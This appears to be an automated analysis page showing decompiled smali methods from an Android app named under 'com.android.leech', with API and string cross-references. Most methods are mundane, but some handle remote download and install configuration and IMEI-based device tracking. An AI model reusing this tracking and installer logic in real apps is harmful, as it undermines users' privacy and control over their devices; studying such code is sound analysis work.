                                                                              7invoke-static {v2, v3}, Lcom/android/leech/base/util/ApkInfos;->getAppVersionCode(Landroid/content/Context;Ljava/lang/String;)J
                                                                              8move-result-wide v0
                                                                              9const-wide/16 v2, 0x0
                                                                              10cmp-long v2, v0, v2
                                                                              11if-eqz v2, :cond_2a
                                                                              13const-string v2, "Core"
                                                                              15const-string v3, "version"
                                                                              16new-instance v4, Ljava/lang/StringBuilder;
                                                                              18invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              20const-string v5, "version:"
                                                                              22invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              23move-result-object v4
                                                                              25invoke-virtual {v4, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                                                              26move-result-object v4
                                                                              28invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              29move-result-object v4
                                                                              31invoke-static {v2, v3, v4}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              32goto_2a: return-void
                                                                              33catch_2b: move-exception v2
                                                                              34goto/16 :goto_2a
                                                                              APIs
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getIdentifier
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getDimensionPixelSize
                                                                              Strings
                                                                              • status_bar_height
                                                                              • dimen
                                                                              • android
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              2const/4 v0, -0x1
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              5move-result-object v2
                                                                              7const-string v3, "status_bar_height"
                                                                              9const-string v4, "dimen"
                                                                              11const-string v5, "android"
                                                                              13invoke-virtual {v2, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                                                                              14move-result v1
                                                                              15if-lez v1, :cond_19
                                                                              17invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              18move-result-object v2
                                                                              20invoke-virtual {v2, v1}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
                                                                              21move-result v0
                                                                              22cond_19: return v0
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getInt
                                                                              • org.json.JSONObject.has
                                                                              • org.json.JSONObject.getInt
                                                                              Strings
                                                                              • mode
                                                                              • type
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "jsonObject" # Lorg/json/JSONObject;
                                                                              1.prologue
                                                                              2const/4 v0, 0x0
                                                                              4invoke-direct {p0, p1}, Lcom/android/leech/base/bean/BuglyDownloadInfo;-><init>(Lorg/json/JSONObject;)V
                                                                              5iput v0, p0, Lcom/android/leech/main/installer/bean/BuglyInstallInfo;->mode:I
                                                                              6iput v0, p0, Lcom/android/leech/main/installer/bean/BuglyInstallInfo;->type:I
                                                                              7try_start_8:
                                                                              8const-string v0, "mode"
                                                                              10invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              11move-result v0
                                                                              12if-eqz v0, :cond_18
                                                                              14const-string v0, "mode"
                                                                              16invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                                                              17move-result v0
                                                                              18iput v0, p0, Lcom/android/leech/main/installer/bean/BuglyInstallInfo;->mode:I
                                                                              19cond_18:
                                                                              20const-string v0, "type"
                                                                              22invoke-virtual {p1, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              23move-result v0
                                                                              24if-eqz v0, :cond_28
                                                                              26const-string v0, "type"
                                                                              28invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                                                              29move-result v0
                                                                              30iput v0, p0, Lcom/android/leech/main/installer/bean/BuglyInstallInfo;->type:I
                                                                              31try_end_28: return-void
                                                                              32catch_29: move-exception v0
                                                                              33goto/16 :goto_28
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getIdentifier
                                                                              • android.content.res.Resources.getDimensionPixelSize
                                                                              Strings
                                                                              • status_bar_height
                                                                              • dimen
                                                                              • android
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_4
                                                                              1const/4 v0, 0x0
                                                                              2goto_3: return v0
                                                                              3cond_4:
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              5move-result-object v0
                                                                              7const-string v1, "status_bar_height"
                                                                              9const-string v2, "dimen"
                                                                              11const-string v3, "android"
                                                                              13invoke-virtual {v0, v1, v2, v3}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                                                                              14move-result v1
                                                                              16invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
                                                                              17move-result v0
                                                                              18goto/16 :goto_3
                                                                              APIs
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONArray.get
                                                                              Strings
                                                                              • reses
                                                                              • type
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "dataJson" # Lorg/json/JSONObject;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/lang/Exception;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              7new-instance v4, Lcom/android/leech/base/network/BaseRequest$Response;
                                                                              9invoke-direct {v4}, Lcom/android/leech/base/network/BaseRequest$Response;-><init>()V
                                                                              10const/4 v0, 0x0
                                                                              11if-eqz p1, :cond_33
                                                                              13const-string v6, "reses"
                                                                              15invoke-static {p1, v6}, Lcom/android/leech/base/util/JsonUtils;->getJsonArray(Lorg/json/JSONObject;Ljava/lang/String;)Lorg/json/JSONArray;
                                                                              16move-result-object v2
                                                                              18invoke-static {v2}, Lcom/android/leech/base/util/JsonUtils;->isEmpty(Lorg/json/JSONArray;)Z
                                                                              19move-result v6
                                                                              20if-nez v6, :cond_33
                                                                              21const/4 v1, 0x0
                                                                              22goto_15:
                                                                              23invoke-virtual {v2}, Lorg/json/JSONArray;->length()I
                                                                              24move-result v6
                                                                              25if-ge v1, v6, :cond_33
                                                                              27invoke-virtual {v2, v1}, Lorg/json/JSONArray;->get(I)Ljava/lang/Object;
                                                                              28move-result-object v3
                                                                              29check-cast v3, Lorg/json/JSONObject;
                                                                              31const-string v6, "type"
                                                                              33invoke-static {v3, v6}, Lcom/android/leech/base/util/JsonUtils;->getJsonInt(Lorg/json/JSONObject;Ljava/lang/String;)I
                                                                              34move-result v5
                                                                              35const/16 v6, 0x8
                                                                              36if-ne v6, v5, :cond_30
                                                                              37new-instance v0, Lcom/android/leech/base/bean/BuglyDownloadInfo;
                                                                              39invoke-direct {v0, v3}, Lcom/android/leech/base/bean/BuglyDownloadInfo;-><init>(Lorg/json/JSONObject;)V
                                                                              40cond_30: add-int/lit8 v1, v1, 0x1
                                                                              41goto/16 :goto_15
                                                                              42cond_33: iput-object v0, v4, Lcom/android/leech/base/network/BaseRequest$Response;->response:Ljava/lang/Object;
                                                                              43return-object v4
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getConfiguration
                                                                              Strings
                                                                              • Phone
                                                                              • Tablet
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_5
                                                                              2const-string v0, "Phone"
                                                                              3goto_4: return-object v0
                                                                              4cond_5:
                                                                              5invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              6move-result-object v0
                                                                              8invoke-virtual {v0}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration;
                                                                              9move-result-object v0
                                                                              10iget v0, v0, Landroid/content/res/Configuration;->screenLayout:I
                                                                              11and-int/lit8 v0, v0, 0xf
                                                                              12const/4 v1, 0x3
                                                                              13if-lt v0, v1, :cond_1a
                                                                              14const/4 v0, 0x1
                                                                              15goto_15: if-eqz v0, :cond_1c
                                                                              17const-string v0, "Tablet"
                                                                              18goto/16 :goto_4
                                                                              19cond_1a: const/4 v0, 0x0
                                                                              20goto/16 :goto_15
                                                                              21cond_1c:
                                                                              22const-string v0, "Phone"
                                                                              23goto/16 :goto_4
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.<init>
                                                                              • uAgent.commonsdk.internal.utils.b$1.<init>
                                                                              • android.content.Context.getSystemService
                                                                              Strings
                                                                              • phone
                                                                              Position Instruction Meta Information
                                                                              1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                                                              2new-instance v0, LuAgent/commonsdk/internal/utils/b$1;
                                                                              4invoke-direct {v0, p0}, LuAgent/commonsdk/internal/utils/b$1;-><init>(LuAgent/commonsdk/internal/utils/b;)V
                                                                              5iput-object v0, p0, LuAgent/commonsdk/internal/utils/b;->a:Landroid/telephony/PhoneStateListener;
                                                                              6if-eqz p1, :cond_16
                                                                              7try_start_c:
                                                                              8const-string v0, "phone"
                                                                              10invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              11move-result-object v0
                                                                              12check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              13iput-object v0, p0, LuAgent/commonsdk/internal/utils/b;->e:Landroid/telephony/TelephonyManager;
                                                                              14try_end_16: return-void
                                                                              15catch_17: move-exception v0
                                                                              16goto/16 :goto_16
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.Map.get
                                                                              • java.lang.Integer.parseInt
                                                                              Strings
                                                                              • Version
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2iget-object v2, p0, Lcom/android/leech/base/util/Update;->config:Ljava/util/Map;
                                                                              4const-string v3, "Version"
                                                                              6invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Ljava/lang/String;
                                                                              10invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              11move-result v1
                                                                              12return v1
                                                                              Cross References
                                                                              APIs
                                                                              Strings
                                                                              • imei
                                                                              Position Instruction Meta Information
                                                                              1const-string v0, "imei"
                                                                              3invoke-direct {p0, v0}, LuAgent/commonsdk/statistics/idtracking/a;-><init>(Ljava/lang/String;)V
                                                                              4iput-object p1, p0, LuAgent/commonsdk/statistics/idtracking/f;->b:Landroid/content/Context;
                                                                              5return-void